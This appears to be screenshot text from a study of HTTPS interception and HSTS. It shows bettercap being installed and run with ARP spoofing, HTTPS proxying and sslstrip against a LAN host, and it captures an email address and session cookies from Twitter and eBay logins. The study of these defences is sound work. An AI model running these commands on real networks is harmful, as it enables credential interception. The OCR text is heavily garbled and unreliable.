I Issuer's (CA) DN

Owner's public key
Verify signature Get certificate

Issuer's (Root CA) DN

Issuer's (Root CA) signature

Root CA's DN

Root CA's public key

Verify signature

Root CA's signature





image7.PNG
Client endpoint

Interception
Proxy

Server Endpoint




image8.PNG
Server
User

Attacker




image9.png
Applications v

437MB
Volume

Places v

root@ekali:

File Edit View Search Terminal Help
root@kaliz~# sudo apt-get install build-essential ruby-dev libpcap-dev net-tools
Reading package lists... Done
Building dependency tree
Reading state information... Done
build-essential is already the newest version (12.5)
build-essential set to manually installed.
net-tools is already the newest version (1.60+git20161116.90da8a0-2)
net-tools set to manually installed.
ruby-dev is already the newest version (1:2.5.1).
ruby-dev set to manually installed.
The following additional packages will be installed:
libpcape.8-dev
The following NEW packages will be installed:
libpcap-dev libpcapo.s-dev
o upgraded, 2 newly installed, 0 to remove and © not upgraded
Need to get 266 kB of archives.
After this operation, 776 kB of additional disk space will be used
Do you want to continue? [Y/n] y
Get:1 http://ftp.hands.com/kali kali-rolling/main amd64 libpcape.8-dev amd64 1.8
-1-6 [240 kB]
Get:2 http://ftp.hands.com/kali kali-rolling/main amd64 libpcap-dev amd64 1.8.1-
6 [25.9 kB]
Fetched 266 kB in 1s (484 kB/s)
selecting previously unselected package libpcape.s-dev:amd6a

Terminal v Thu 18:30

| Y

»





image10.png
Applications v

437MB
Volume

Places v

Terminal v

root@ekali:

File Edit View Search Terminal Help
root@kali:~# gem install bettercap
Fetching: colorize-0.8.1.gem (100%)
Successfully installed colorize-6.8.1
Fetching: pcaprub-0.13.0.gem (100%)

Building native extensions. This could take a while...

successfully installed pcaprub-0.13.0
Fetching: packetfu-1.1.13.gem (100%
Ssuccessfully installed packetfu-1.1.13
Fetching: network_interface-0.0.2.gem (100%

Building native extensions. This could take a while...

Thu 18:31

"





image11.png
Applications »  Places ~ Terminal ~

237MB
Volume

root@kali: ~

Thu 18:34

earch Terminal _Help
rootekali:~# bettercap -v

http://bettercap.org,

bettercap 1.6.2

rootekali:~# []

CRCIDEEN |





image12.png
IeEQn @





image13.png
® & wwwww.digicertcom




image14.PNG
Enter a domai

gmail.com

Check HSTS preload status and eligibility

Status: gmail.com is currently preloaded.

Information

This form is used to submit domains for inclusion in Chrome’s HTTP Strict Transport Security (HSTS) preload list. This is a list of sites
that are hardcoded into Chrome as being HTTPS only.

Most major browsers (Chrome, Firefox, Opera, Safari, IE 11 and Edge) also have HSTS preload lists based on the Chrome list. (See the
HSTS compatibility matrix)





image15.PNG
Enter a domai

twitter.com

Check HSTS preload status and eligibility

Status: twitter.com is currently preloaded.

Information

This form is used to submit domains for inclusion in Chrome’s HTTP Strict Transport Security (HSTS) preload list. This is a list of sites
that are hardcoded into Chrome as being HTTPS only.

Most major browsers (Chrome, Firefox, Opera, Safari, IE 11 and Edge) also have HSTS preload lists based on the Chrome list. (See the
HSTS compatibility matrix)





image16.png
Google
Signin
Continue to Gmail

Email or phone

Forgot email?

Not your computer? Use InPrivate windows to sign in.

Learn more

Create account

bR B W F TR BE

Name

https://accounts google.com/

ManageAccount
hitpsy//accounts google.com/

ServiceLogin?passive=1209600&continue=https%3..
https://accounts.google.com/
?hl=en-GB&,_reqid=64517&ut=]
https://accounts.google.com/_/common/diagnostics/
?hl=en-GB&,_reqid=64517&ut=]
https://accounts.google.com/_/common/diagnostics/

'Y~ Content type

Protocol

HTTP/2

HTTP/2

HTTP/2

HTTP/2

HTTPS

Method
GET

GET

GET

POST

GET

Find (Ctrl+F)

Headers Body Parameters Cookies Timings
Request URL: https://accounts.google.com/ManageAcco...
Request Method: GET

Status Code: A 302/

4 Request Headers

Accept: */+

Accept-Encoding: gzip, deflate, br

Accept-Language: en-GB

Cache-Control: no-cache

Host: accounts.google.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...

4 Response Headers
443", ma=2592000; v=

alt-sve: quic=' 46,44,43,39"

cache-control: private, max-age="
content-encoding: gzip
content-length: 242
content-security-policy: script-src ‘unsafe-inline’ ‘unsafe-.
content-type: text/html; charset=UTF-8

date: Mon, 22 Apr 2019 16:54:58 GMT

expires: Mon, 22 Apr 2019 16:54:58 GMT

location: https://accounts google.com/ServiceLogin?pass...
server: GSE
set-cookie: GAPS=

/G2KWYs2vcqTnCGIMGYK3S1DNGID...
strict-transport-security: max-age=31536000; includeSub...
X-content-type-options: nosniff

x-frame-options: DENY

X-xss-protection: 1; mode=block




image17.png
‘twitter.com/login

Log in to Twitter

Password

New to Twitter? Sign up now »

Remember me - Forgotten your password?

Already using Twitter via text message? Activate your account »

Language: English UK ~

Name

login
https://twitter.com/

twitter_more_1.bundle.css
https://abs.twimg.com/a/1555438498/css/t1/

twitter_more_2.bundle.css
https://abs.twimg.com/a/1555438498/css/t1/

init.en-gb.c4a087b09a7a7bda62b9 s
https://abs.twimg.com/k/en-gb/

0.commons.en-gb.a682ff35887e2d4e43a1 js
https://abs.twimg.com/k/en-gb/

Js_inst?c_name=ui_metrics
httpsy//twitter.com/i/

init.en-gb.c4a087b09a7a7bda62b9,s
https://abs.twimg.com/k/en-gb/

twitter_core.bundle.css
https://abs.twimg.com/a/1555438498/css/t1/

spinner-rosetta-blue-26x26.gif
https://abs.twimg.com/a/1555438498/img/t1/spinners/

twitter_core.bundle.css
https://abs.twimg.com/a/1555438498/css/t1/

twitter_more_1.bundle.css
https://abs.twimg.com/a/1555438498/css/t1/

twitter_more_2.bundle.css
https://abs.twimg.com/a/1555438498/css/t1/

7.pages signup.en-gb.e3d8eb2bag0d10b95ccc s
https://abs.twimg.com/k/en-gb/

0.commons.en-gb.a682ff35887e2d4e43a1 js
https://abs.twimg.com/k/en-gb/
p?_=1555959325901
https://analytics.twitter.com/tpm/

syndication?l=97B%22_category_%22%3A%22synd..
https://syndication.twitter.com/i/jot/

analyticsjs

Protocol
HTTP/2

HTTPS

HTTPS

HTTPS

HTTPS

HTTP/2

HTTPS

HTTPS

HTTPS

HTTPS

HTTPS

HTTPS

HTTPS

HTTPS

HTTP/2

HTTP/2

HTTPS

Y~ Content type

Method

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

Find (Ctrl+F)

Headers | Body Parameters
Request URL: https://twitter.com/login
Request Method: GET

Status Code: [l 200 / 0K

Cookies  Timings

4 Request Headers
Accept: */+

Accept-Encoding: gzip, deflate, br

Accept-Language: en-GB

Host: twitter.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x6...
4 Response Headers

cache-control: no-cache, no-store, must-revalidate, pr...
content-encoding: gzip

content-length: 45614

content-type: text/html; charset=utf-8

date: Mon, 22 Apr 2019 18:55:25 GMT

expires: Tue, 31 Mar 1981 05:00:00 GMT

last-modified: Mon, 22 Apr 2019 18:55:25 GMT
pragma: no-cache

server: tsa_f

set-cookie: _twitter_sess=BAN7CSIKZmxhc2hjQzonQ..
set-cookie: ct0=02adce527318bd5c12b132d8816710...
set-cookie: fm=0; Max-Age=0; Expires=Mon, 22 Apr 2...
set-cookie: guest_id=v1%3A155505932545432661; M...
set-cookie: personalization_id="v1_wb+BC1epAoVTD..
status: 200 OK

strict-transport-security: max-age=631138519
X-connection-hash: 9766fd4c81b665219c0bdb9B274..

x-contént tjpe-options: Hosnift

v frd3a oS atinE R




image18.png
Applications v Places v

Terminal v Thu 03:48

437MB

root@kali: ~

Edit View Search Terminal
17l

1=
I
NI\

http://bettercap.org

[1] Starting [ spoofing:. discovery:. sniffer: tcp-proxy: udp-proxy:: http-proxy:  https-p \
roxy:+ sslstrip:- http-server:: dns-serveri. ] ...

[ [ 1 192.168.1.66 : 20:10:7A:FD:17:F8 / wlan® ( Gemtek Technology Co.

[ [ 1 192.168.1.254 : EB:AD:A6:C9:54:E0 ( 777

S 1 Precomputing list of possible endpoints, this could take a while depending o
n your subnet

(B9l 1 Done in 10.2 ms

[ [ ] Targeting the whole subnet 192.168.1.0..192.168.1.255 ..

[I] Found hostname for address 192.168.1.254

[1] Acquired 3 new targets

[NEW] 192.168.1.64 : C8:14:51:98:26:EC ( Huawei Technologies Co.
[NEW] 192.168.1.69 : 6C:88:14:F7:E7:94 ( Intel Corporate
[NEW] 192.168.1.73 : DO:6F:4A:FF:FA:9E ( Topwell International Holdings Limited





image19.png
Applications v Places v [ Terminal v Thu 03:47

437 MB
Volume

root@kali: ~

File Edit View Search Terminal Help

shutting down, hang on ...
root@kali:~# bettercap -X -T 192.168.1.69 --proxy --proxy-https

http://bettercap.org

[1] starting [ spoofing:~ discovery:: sniffer:. tcp-proxy:« udp-proxy: http-proxy:~ https-p|
roxy:. sslstrip:~ http-server:: dns-server:. |

1O B =R

[1] Found hostname for address 192.168.1.69

[l 1 192.168.1.66 : 20:10:7A:FD:17:F8 / wlan® ( Gemtek Technology Co.

[I] Found hostname for address 192.168.1.254

(B9l 1 192.168.1.254 : EB:AD:A6:C9:54:E0 / dsldevice ( 777

[W] WARNING: Both HTTP transparent proxy and URL parser are enabled, you're gonna see duplic
ated logs

[I] [0NS] Starting on 192.168.1.66:5300

[ [ 1 192.168.1.69 : 6C:88:14:F7:E7:94 / MasterBook ( Intel Corporate

mor 1 Bravy ctartina nn 107 18R 1 AR-RARA





image20.PNG
« c @ @ https://twitter.com/sessions Vo Pxd I @ =

What can you do about it?

twitter.com has a security policy called HTTP Strict Transport Security (HSTS), which means that Firefox can only
connect to it securely. You can't add an exception to visit this site.

The issue is most likely with the web site, and there is nothing you can do to resolve it.

If you are on a corporate network or using anti-virus software, you can reach out to the support teams for assistance.
You can also notify the web site’s administrator about the problem.

»  { Inspector Console [ Debugger {} Style Editor () Performance 4k Memory N Network (B Storage T Accessibility G -
@ ¥ Fiter URLs I HTML CSS JS XHR Fonts Images Media WS Other [ ]Persist Logs [ ]Disable cache  No throttling$ HAR &
Status Method Domain File Cause Type Transferred Size Oms. 20ms 160 ms 240 ms 320ms.

POST A titter.com sessions. e |




image21.png
Applications ~  Places v £ Terminal ~ Thu 21:39

437 M8
Volume

root@kali: ~
Terminal

2812287045909; eu_cn=1

0 1

+ izaniz012@live:com
AAAAAAAARAAAAAA
b3} Getcba35a3810cBC0526d703579c22814

I :{"d702eTbE9dacTaiB39eco39ce90972000297bbcdbc61b0242d9 FdBdb2)
53222247 :223, *a68243930e2381de27b7c7ba73dedaba2d5bed29440a8755592875e201ab1910"
5. "a2a9a5112c7243719a17C f6409701520042c6b486cd1 707 fdaa0TOCdIe Fe0eo6” : 224, "agdb
0794 e5baf8e6d2fe7ab8533510d01b2d7706421923eb7210a25885437 1" < -224) , *5": *_GAPLWA
6572A9EQPkgS2NGh81 1W7QBUTS12]gbPG3NT2V19g_B_DOHD1U4yxD5VMq ) BSRZUVU102NZ7FDb-of
FFAURABSW7HSUUNF3ShPX SYU4XVPWG2VYPAr5ngA9ZSAVSndSgMALGKUGDCTYGKUL0EBOdANTKIAS )|
4v0Xd1uBwIhxT L HUXHSMQAI ZAGQPDAWKDZY - 12w1eYhEebguUwSeBDXLKXNS tQuS 1hegsFion1u2 o3|
FAHOPBIMUYG ] ] FEp13DIOEUGEXNWYXCSQIENQBF 12057y 12W 655 IMKNpFNAaXM - heSWGItu] 5] SWTY
PGYVI3C3L-GBAEGAAAWPWDINS "}

: bS95fa76efcba35a38108C0926d7

0 /192.168.43.1871 https://twitter.con/sessions ( text/html )
—

DS oMM al





image22.PNG
¥ http:/ twitter.com/login

2 Search | com.com

& Can't connect securely to this p.. FI MSN UK: Latest news, weather, .. ¥ Login on Twitter

~ @ | search.

x|

For the best Twitter experience, please use Microsoft Edge or install the Twitter app from Microsoft Store.

OM Explorer nsole & Debug
LI IR i OO

Name /

Path

login

hittp://wwwww.twitter.com/

login

it/ oy tercom/

twitter_core.bundle.css
http://wwwww.abs twimg.com/a/1556179915/c

twitter_more_1.bundle.css
hitp://wwwww.abs.twimg.com/a/1556179915/css/t1/

twitter_more_2.bundle.css
http://wwwww.abs.twimg.com/a/1556179915/css/t1/

edge-icons-Regular.eot?
http://wwy abs.twimg.com/a/1556179915/font/

i_metrics
ter.com/i/

Js_inst?c_nam
htp://wen

L b 4 1909 2 A fE T had i

¥ Home

Y- Content type

Protocol
HTTP

HTTP

HTTP

HTTP

HTTP

HTTP

HTTP

f—

B Network (-

Method

GET

GET

GET

GET

GET

GET

GET

CET

About

Result /
Description

200
o

200
o

200
oK

200
oK

200
oK

200
oK

200
o

200

izani2012@live.com

Log in to Twitter

Lanquace: Enalish UK ~

Performance

Memory Emulation
Content type Received
text/javascript  177.58 KB
text/html 265.41KB
text/css (from cache)
text/css (from cache)
text/css om cache)

application/vn..

text/javascript

Al eatinnfiava

m cache)

1191 KB

Hram rarhe)

Remember me - Forgotten your password?

Initiator /

Time Type Oms 2
828.14ms  XMLHttpRequest
1235 document

0s |

0s |

0s |

0s |
400.61 ms

parsedElement

Ne N

login:257 ]

Q- 11

Fin

(Ctrl+F)

Headers Body Parameters Cookies

Request URL: http://wwwww.twitter.com/login

Timings

Request Method: GET
Status Code: Il 200/0
4 Request Headers

Accept: application/json, text/javascript, */%

Accept-Encoding: gzip, deflate
Accept-Language: en-GB

Connection: Keep-Alive

fe: personalization_id=v1_nEverPuwnWeAN+of...
Host: wwwww.twitter.com

Referer: http://wwwww.twitter.com/





image23.PNG
o B google | Blwwww | G twitter W Loc X | [ wwww | G Redirec | & SSLDic | B wwww | I wwww

(]

[¢]

]

€]

< C =

@ Amazoncouk [ eBay [ Booking.com [ Very [ Argos [ Facebook

@ Notsecure twitter.com

B wwww

B search | [ www | [ what i

By using Twitter's services you agree to our Cookies Use. We and our partners operate globally and use cookies, including for analytics,

personalisation, and ads.

3 Home  About

Log in to Twitter

izani2012@live.com

PILW) K Remember me - Forgotten your password?

New to Twitter? Sign up now »

Already using Twitter via text message? Activate your account »

Language: English UK ~

& wwwo | B Facebc | I twitter | [ Purch: | B signin | + _ @ X
B > O O =
[® @] | FElements Console Sources Network Performance » @2| i X

[ Group by frame | [ Preserve log [ Disable cac

® O ™y Q| Vw
Filter [ Hide data URLs
A XHR JS CSS Img Media Font Doc WS Manifest Other

5000 ms 10000 ms 15000 ms 20000 ms 25000 ms 30
Name X Headers Preview Response Cookies Timing
[] login?lang=en-gb. v General

|| login?lang=en-gb
[ ] init.en-gb.1bd059362caddccA9...
[ ] 0.commons.en-gb.a682f358s...
] twitter_core.bundle.css

Request URL: http: //wmaa. tuitter.con/login?lang:
&

Request Method: GET

Status Code: @ 302 Moved

Remote Address: 104.244.42.129:80

Referrer Poli

|| twitter_more_1.bundle.css
] twitter_more_2.bundle.css

: no-referrer-uhen-downgrade
|| js._inst?c_name=ui_metrics

v Response Headers  view source

|_| js_inst?c_name=ui_metrics
|| edge-icons-Regularwoff Access-Control-Allow-Headers: *

|| 7.pages_signup.en-gb.e3dgeb... Access-Control-Allow-Methods: *

[ faviconico Access-Control-Allow-Origin: *
[] p?lang=en-gb&_=155616302... Allow-Access-From-Same-Ori
L] analytiesjs Connection: close
\?1=%7B%: e
LI syndication?I=9%78%22_categ. Location: http: / /. twitter. con/login2lang=en-
[ analyticsjs

Set-Cookie: personalization_id-EXPIRED; path=/; d
-.twitter.com; Expires=Hon, 01-Jan-1990 00:00:0¢
T

Set-Cookie: personalization_id-EXPIRED; path=/; d

[ collect?v=18&_v=j738aip=18&a...




image24.png
Applications v Places v [ Terminal ~ Thu 03:34

437 M8
Volume

root@kali: ~

https://tuitter.con/login?lang=en-gb
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o] gmail.com,

Hmmm...can't reach this page
Try this

« Make sure you've got the right web
address: https://gmail.com

« Search for "https://gmail.com" on Bing

« Refresh the page

Details

Name

https://gmail.com/

https://gmail.com/

https://gmail.com/

%= Y- Contenttype Find (Ctrl+F)
Headers Body Parameters Cookies Timings
BiolocoliNeod Request URL: https://gmail.com/
HITPS | GET Request Method: GET
TrsIlGET) Status Code: [l 200/ 0K
Request Headers
HTTPS  GET Response Headers
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@ https//gmail.com

‘ Did Not Connect: Potential Security Issue

Firefox detected a potential security threat and did not continue to gmail.com because this web site requires a secure
connection.
‘What can you do about it?

gmail.com has a security policy called HTTP Strict Transport Security (HSTS), which means that Firefox can only
connect to it securely. You can‘t add an exception to visit this site.

The issue is most likely with the web site, and there is nothing you can do to resolve it.

If you are on a corporate network or using anti-virus software, you can reach out to the support teams for assistance.
YYou can also notify the web site’s administrator about the problem.

Learn more...

More Information

Report errors like this to help Mozilla identify and block malicious sites

@
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52y [ Boskingeom [ Very [ Argos [E Facebook

This site can’t be reached

mail.google.com took too long to respond

Try:
Checking the connection
Checking the proxy and the firewall

Running Windows Network Diagnostics

ERR_TIMED_OUT

Check your internet connection.

Check any cables and reboot any routers, modems, or other
network devices you may be using.

Allow Opera to access the network in your firewall or antivirus
settings.

Ifitis already listed as a program allowed to access the network, try
removing it from the list and adding it again.

If you use a proxy server...

Check your proxy settings or contact your network administrator to
make sure the proxy server is working. If you don't believe you
should be using a proxy server: Go to the Main menu > Settings >
Change proxy settings... > LAN Settings and deselect “Use a proxy
server for your LAN®
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Enter a domain:

outlook.com|

Check HSTS preload status and eligibility

Status: outlook.com is not preloaded.
Eligibility: In order for outlook.com to be eligible for preloading, the errors below must be resolved:

X Error: No includeSubDomains directive

The header must contain the ‘includeSubDomains’ directive.

X Error: No preload directive
The header must contain the ‘preload” directive.

“http://outiook.com’ (HTT
first redirect is to “https;
the HSTS entry for the top level domain, not just the subdomain.

fately redirect to “https://outlook.com’ (HTTPS) before adding the www subdomain. Right now, the
fwww.outlook.com/owa/. The extra redirect is required to ensure that any browser which supports HSTS will record

/A Warning: Unnecessary HSTS header over HTTP
o ey e e
The HTTP page at http://outlook.com sends an HSTS header. This has no effect over HTTP, and should be removed.
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~ General

J owar

] 8066781501
] landing =
I

] geo2is

Request URL: http://outlogk.cqn/
Request Method: GET

Status Code: ® 301 Moved Permanently
Remote Address: 40.97.153.146:50

Referrer Policy: no-referrer-uhen-doungrade
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v General
Request URL:_https ://umu;out100k. con/oua/
Request Method: GET
Status Code: ® 301 Moved Permanently
Remote Address: 40.101.46.175:443

Referrer Policy: no-referrer-uhen-doungrade

v Response Headers  view source
Cache-Control: no-cache
Connection: close
Content-Length: 0
Date: Sat, 27 4pr 2019 15+

Locatior

123 @r

: https://outlook. live. con/owa/

Pragma: no-cache

request-id: 88754379-aba3-£59e-9350-acal 300155

Server: Microsoft-115/10.0

5000
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% Your connection is not secure

The owner of www.google.com has configured their web site improperly. To protect your information from being
stolen, Firefox has not connected to this web site.

This site uses HTTP Strict Transport Security (HSTS) to specify that Firefox only connect to it securely. As a result, it is
not possible to add an exception for this certificate.

Leam more.

Report errors like this to help Mozilla identify and block malicious sites
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root@kali: ~

Search Terminal Help
[I] [~~0-°1° 192.168.1.69] Detected HTTPS redirect loop for 'yahoo.com'.
[I] [55L] Fetching certificate from wwwww.outlook.live.com:443 ...
[ /192.168.1.69 > 13.107.42.11: 11 1 https://wwwww.outlook.live.com/
[W] Error while accepting HTTPS connection: #<SocketError: Failed to open TCP connection to
wwwaw . outlook. Live.com:443 (getaddrinfo: Name or service not known)>
[I] [55L] Fetching certificate from wwwww.outlook.live.com:443 ...
[W] Error while acceptIng HTTPS CummecTion: #<SocKetErrer—Failed to open TCP connection to
wwww . outlook. Live.com:443 (getaddrinfo: Name or service not kmommp———"" =
[ /192.168.1.69 > 104.103.143.161: 1 [GET] http://tile-service.weather.microsoft|
_com/en-Us/Livetile/preinstall?region=GB&appid=CIBEASBO842DBBI405BBFO71E1DA76512D21FEI6&FORM
=Threshold
[ /192.168.1.69] http://tile-service.weather.microsoft.com/en-Us/livetile/prein
stall?region=GB&appid=C98EA5BOB42DBBI405BBFO71E1DA76512D21FE36&FORM=Threshold ( text/xml )

[ /192.168.1.69 > 216.58.208.132: 11 1 https://www.google.com/
[I] [55L] Fetching certificate from wwwww.outlook.live.com:443 ...

[ /192.168.1.69 > 13.107.42.11: Vi 1 https://wwwww.outlook.live.com/
[W] Error while accepting HTTPS connection: #<SocketErrof¥ Faile&d Tu—UpEh TCP~eommeTTION to

O R =R

v . outlook. Live. com:443 (getaddrinfo: Name or service not known)>

[I] [55L] Fetching certificate from wwwww.outlook.live.com:443 ...

[ /192.168.1.69 > 216.58.204.14: Vi 1 https://clients2.google.com/

[W] Error while accepting HTTPS connection: #<SocketError: Failed to open TCP connection to
wavww . outlook . Live. com:443 (getaddrinfo: Name or service not known)>
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Enter a domain:

ebay.co.uk|

Check HSTS preload status and eligibility

Status: ebay.co.uk is not preloaded,
Eligibility: In order for ebay.co.uk to be eligible for preloading, the errors below must be resolved;

( X Error: No HSTS Mﬂder)

Response error: No HSTS header is present on the response.

/A Warning: Obsolete Cipher Suite
The site is using obsolete TLS settings. Check out the site at https://www.ssllabs.com/ssltest/
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root@kali: ~

File Edit View Search Terminal Help

: PS=T.0
52af6d7616a0ad4c3dd528alffffffff
52af6d7616a0ad4c3dd528alfffffff
f93a8doe-7944-4982-8f3b-4a989cab41f4
izani2012@live. com -rolling repositorie
AAAAAAAAAAAAAAAAAAAAAAAAAA

1
1
: {"fp:"*, "prfdcscmd”: "52af6d7616a0ad4c3dd528alf FAFFFFF", "iframe" : false, " timestamp" : 1556|
165397136}
[ [ 192.168.1.69] Stripping 18 HTTPS links inside 'https://www.ebay.com/signin/s'
[ /192.168.1.69 > 23.44.102.84: 11 1 [wwwww.ebay . com;

; 1758798782%7 CMCIDTS%7C18012%7 CMCMIDS7|
€21643848509813545513561594958530199398%7CMCAANLH- 1556770184%7C6%7 CMCAAMB- 1556770185%7C661ynYcLPui
0xYZrsz_pkqfLGIyMXBpb22zX5dvIdYQIzPXImd]0y%7CMCCIDHS7C1028939227%7 CMCOPTOUT - 15561725855%7 CNONE7CHC|
ATID%7CNONE; =283eZtSTez9DUN70%23772250276; 20/1a45cc14125 u1p/QEBFXOBAX19AQA*+5€a26695 b1
/GBen-US60839a15"pbf/%23c0002000000000000000005€a26695"; 5=CgAD4ACBCWOSVNTIZ]MONZGXNMEWYWNMXZWY5HZ|
MZYZYSYWEYNDY3N2N1X1HO; 2F517CECDFO2225A6FBO7967E051F6717373B5AC01B00001533C15C1FD3A118~p|H

mmand:

httpd-port PORT
httpd-path PATH

DNS

To update toa n
dns FILE

upd

dns-port PORT

If you ha ubl alling ap read th

Firefox automatically sends some data to Mozilla so that we can improve your experience. se What | Share | x
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Sign in to eBay or create an account

Email or usemame
1zani2012@live.com

Password

Text a temporary password

Reset your password

Stay signed in

Sign in with Facebook

Sign in with Google

Using a public or shared device?
Deselect to protect your account Lear more.

Name Protocol
BayISAPLdII7MyEbayBigbh=1 HTTP.
It v my.eb2y.CoUKAS/ —_—
BayISAPLAIISignin&UsingSSL=1&pUserld=8ico_p... HTTP
it v signin.ebay.Co.ukAws/ =
signinJX2tisCmjs HTTP.
ttpy fowsnvivebaystatic.com/rs/c/
makeebayfasterscript-src-scripts-body-78a2168ajs  HTTP
ttpy v ivebaystatic.com/rs/c/
103414h50y221mhhydueudmSwadjs HTTP
ttpy o irebaystatic.com/ s/
ucgrogTjbey5Schg2qh3tn20fyrjs HTTP
ttpy o irebaystatic.com/ s/

itp/fwwiebay.co.uk/ HTTP
3sbepdq10qQdtksnmgiti4TcmO.css7proc= HTTP
nttpyfvwsnvawivebaystaticcom/ s

Signin-AZICKxHW.css HTTP
Nttpy o irebaystatic.com/rs/c/
BayISAPLAIISignin&UsingSSL=1&pUserld=8ico_p... HTTP

it v signin.ebay.Co.ukAws/

Method
GeT

GeT

GeT

GeT

GeT

GeT

GeT

GeT

GeT

GeT

Resu)

302
Move

200
ok

200
ok

200
ok

200
ok

200
ok

200
ok

200
ok

200
ok

200
ok

Find (Cti+F)

Weoders | Body _Paremeters_Cookes _Timings
Request URL: it/ ey oo/ cBay1SA
o etod G

Status Code: A 302/ Moved Temporarily

0 P

hecept

AcceptEncodin: g defiote

cceptLanguoge:en-G8,en-US

Comnecton: Keep-Alve

8, en: =06, ar-E

Host: vawwew.my.ebay.co.uk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64).

4 Response Headers
Access-Control-Allow-Headers: *

Access-Control-Allow-Methods:
Access-Control-Allow-Origin: *
Alow-Access-From-Same-Origin: *

Connection: keep-alive

Content-Length: 0

Dte: Sun, 28 Apr 2019 004800 GMT

Location: htp://wiawwsignin.ebay.co.uk/ws/eBayISAP
Rlogi: p4n%7Ceeb%7Coivi%3C%3DosuT 1928713447
Server: Apache-Coyote/.1

X-0SSProry: OSSProxy 13337419 (Build 337.419 Win:
X-Xss-Protection: 0
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File Edit View Search Terminal Help
ht5%3DAQAAAW0ZIL] 4AAUBZGRNMD LMDE2 Y TBhY ZN M IWNGNhMZNmZnZmNGY X YQAAL4hySikzVehoaF [
VKAYsTaQdasTg*%7Cht5news3Dtrue%s26usids304ddb3d4d16a0adasdf2e0b86ff2dfc2
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[ | e \
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e ARAAAAAAAAAAAA
7 1
Sl 192.168.1.69] Stripping 17 HTTPS links inside ‘https://www.ebay.co.uk/signin/s
[ /192.168.1.69 > 66.211.183.13: 1 [GET] http://wwwww.ocsrest.ebay.co.uk/ocsrsap,

p/02/inflow/inflowcomponent?input=%78%22pageId%22:%222487282%22%7D&cal Lback=Inflow. cb





image42.PNG
(0} I Privacy error X | ] Argos | Same Day Deliver X | [l Privacy error X outlookcomloginmicros X | [} Sign in | Argos. X fSigninorRegister | eBay X IO (1x1) x|+ > X
< C & (@roman ehay.couk. J ® > Q| =
@ Amszoncouk J eBay [B Bookingcom [Y Very E Argos [ Facebook
® [R (]| Eements Console Sources Network > 09482/ i X
[ ebay ® O ™Y Q Viw == [ Group by frame | [J Preserve log [] Disable cac
Filer [ Hide data URLs

()] X6 15 CSS img Meds Font Doc WS Maniest Other

H 0 ms 00 ms aoooms
Sign i to eBay or create an account
. Neme 4| X Headers Preview Response Cookies Timing
= _Emw’_'l;’ufluzz'_‘ﬂme [] ovkDrkyoky Titm32dhyOhthmy. * y General
izani jive.com 1th50y22 T mbhyducudm
V) L 10341050, 21mhhycuedn3 | poquect URL: nttp: //manac.my . ebay. co.uk/us/eBays
3sbepdqtOqdtksnrmgitidTem
Dot | S
- a e
Ul desrong Status Code: @ 302 Hoved Tenporarily
(] clearpng?org id=uslpico8cses; e ey
o D e Remote Address: 66.211.180.151:80
clearpng?org id=uslpicO8ces,
] cleanprgrorg id=uslpicogises. | Rererer Poliey: unsafe-urd
[] clearpng?org_id=uslic08ises. | v Response Headers  view source
Text a temporary password ] cearpnglorg id=usllpicdBses | Access-Control-Allow-Headers: *
(1] clearpng?org id=uslpico8cses;

Reset your password (2] dotaimage/svgexm...

(0] dataimage/svg+xrmi..
Stay signed in [0 dataimage/svg+xri..

Using a public or shared device? 4] dataimage/svg+xmi;
Deselect to protect your account. Learn more

Allow-Access-From-Same-Origin: *
Content Length: ©
Date: Sun, 25 Apr 2019 80::

152 GIT

Location: http: //uaaw. signin. ebay. co. uk/ws/eBayT
d1125ignTnaUsingSSL=18pUserTd=aco_partnerTd=2asi
=38rusnttps¥IANIFR2FMY . cbay . co. uK2FUSK2FeBay TS
115374y EbayBetax26Hy Ebay%30R2660MIDI25Eue AL

] eBayISAPLdI?Signin&Usingss.
(-] f5unsy 10bmzpSdirtraybisqquy
(i

] bog3tsimsttcantotodbacis.

EeType=3s84
(L] inflowcomponent?input=%72. i e

Rlogid paHe7CceskCotiuisiamsmerer 1287 13m3ce
(] makeebayfasterscrpt-src-scrip

sasisr2ids
] MarketSans-Reaular-WebS.wo ¥

Server: Apache-Coyote/1.1 v

e etevm e B




image43.PNG
General | Details | Certification Path

'\ Certificate Information

This certificate is intended for the following purpose(s):
« Ensures the identity of a remote computer
« Proves your identity to a remote computer
+136.14.1.4146.1.1
22314001

* Refer to the certfication authority's statement for details.

Issued to: - www.globalsign.com

Issued by:  GlobalSign Extended Validation CA - SHA256 - G3

Valid from 11/7/2017 to 6/23/2019

Issuer Statement
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Certificates

Intended purpose: | <All>

Trusted Root Certification Authorities Trusted Publishers Untrusted Publishers [T
Issued To Issued By Expirati..  Friendly Name ~
CGlAffirmTrust Co...  AffrmTrust Comm.. 31/12/2... AfrmTrust C.
5l/Avast Web/Mail ... Avast Web/Mail S...  01/01/2... <None>
CilBaltimore Cyber... Baltimore CyberTr... 13/05/2.
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